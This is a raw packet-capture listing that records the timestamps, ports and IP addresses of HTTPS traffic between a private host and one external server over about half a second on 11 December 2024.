Dec 11, 2024 12:30:42.629041910 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.629041910 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.629041910 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.629234076 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.682682991 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.798823118 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.798851967 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.799160004 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.799160957 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.799197912 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.799340963 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.799340963 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.799529076 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.800725937 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.800750971 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.801104069 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.801104069 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.801130056 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.801286936 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.801287889 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.802699089 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.802723885 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.802865982 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.802865982 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.802865982 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.802903891 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.803073883 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.804651976 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.804677963 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.804832935 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.805049896 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.805077076 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.805195093 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.805195093 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.805238962 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.806546926 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.806572914 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.806718111 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.806718111 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.806924105 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.806924105 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.806924105 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.806957006 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.807274103 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.809056997 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.809082031 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.809288979 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.809364080 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.809387922 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.809571981 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.810853004 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.810878038 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.811050892 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.811230898 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.811230898 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.811259985 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.811506987 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.812768936 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.812796116 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.813137054 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.813137054 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.813159943 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.813405991 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.814733982 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.814759970 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.814903975 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.815085888 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.815085888 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.815085888 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.815085888 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.815124035 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.815324068 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.816530943 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.816612959 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.816703081 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.816904068 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.816926003 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.817142010 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.818036079 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.818061113 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.818387032 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.818387032 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.818416119 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.818613052 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.819998026 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.820024014 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.820167065 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.820348024 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.820373058 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.820538998 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.822782040 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.822805882 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.822977066 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.823136091 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.823136091 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.823136091 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.823167086 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.823327065 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.824707985 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.824731112 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.825107098 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.825107098 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.825107098 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.825107098 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.825134039 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.825440884 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.826606989 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.826632023 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.826972008 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.826972008 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.826997995 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.827378035 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.828286886 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.828311920 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.828455925 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.828658104 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.828658104 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.828658104 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.828676939 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.828928947 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.830940962 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.830965996 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.831131935 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.831213951 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.831229925 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.831327915 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.831459045 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.832933903 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.832957983 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.833100080 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.833302975 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.833322048 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.833518028 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.834820986 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.834845066 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.835014105 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.835014105 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.835042000 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.835191965 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.835192919 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.837143898 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.837168932 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.837337017 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.837337017 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.837337017 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.837364912 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.837511063 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.837707996 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.837707996 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.839106083 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.839132071 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.839323044 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.839505911 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.839505911 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.839523077 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.839728117 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.841031075 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.841053009 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.841197014 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.841379881 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.841379881 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.841379881 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.841379881 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.841413975 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.841586113 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.842999935 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.843023062 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.843319893 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.843319893 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.843343019 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.843671083 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.844912052 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.844934940 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.845098019 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.845098019 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.845274925 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.845274925 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.845274925 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.845293999 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.845518112 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.847356081 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.847378969 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.847543955 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.847723961 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.847723961 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.847723961 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.847743034 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.847943068 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.849205017 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.849227905 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.849368095 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.849553108 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.849554062 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.849584103 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.849745989 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.849745989 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.851099014 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.851123095 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.851640940 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.851667881 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.852013111 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.853122950 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.853144884 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.853475094 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.853475094 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.853475094 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.853508949 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.853878021 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.854996920 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.855020046 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.855181932 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.855181932 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.855206013 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.855364084 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.855364084 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.855555058 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.857402086 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.857424021 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.857564926 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.857769012 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.857769012 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.857790947 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.858042002 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.858267069 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.858428001 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.858477116 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.041512012 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.041522026 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.041874886 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.041874886 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.041888952 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.042110920 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.043452978 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.043484926 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.043684006 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.043689966 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.043765068 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.043878078 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.043878078 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.043884039 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.044127941 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.044127941 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.051415920 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.051429987 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.051619053 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.051619053 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.051623106 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.051799059 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.051990986 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.053334951 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.053349972 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.053668022 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.053668022 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.053668022 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.053668022 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.053673029 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.053858995 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.055255890 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.055284023 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.055610895 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.055610895 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.055617094 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.055803061 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.057190895 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.057203054 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.057529926 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.057529926 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.057533026 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.057720900 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.059137106 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.059151888 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.059509993 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.059509993 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.059514999 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.059890985 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.061566114 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.061579943 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.061908960 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.061908960 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.061908960 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.061913967 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.062100887 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.062100887 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.063328028 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.063340902 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.063793898 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.063793898 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.063793898 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.063802958 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.064166069 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.065237999 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.065252066 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.065573931 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.065578938 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.065963030 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.067373037 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.067388058 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.067704916 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.067704916 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.067711115 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.067897081 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.069295883 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.069324970 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.069497108 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.069497108 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.069503069 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.069677114 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.069677114 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.069677114 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.071476936 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.071491957 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.071664095 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.071664095 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.071851969 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.071851969 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.071851969 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.071856022 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.072036982 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.073301077 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.073333979 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.073512077 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.073512077 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.073512077 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.073515892 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.073694944 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.073694944 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.073694944 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.075419903 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.075433016 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.075582027 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.075762033 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.075762033 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.075762033 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.075762033 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.075767040 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.075953960 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.077334881 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.077347994 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.077611923 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.077796936 CET	49763	443	192.168.11.30	172.67.128.139
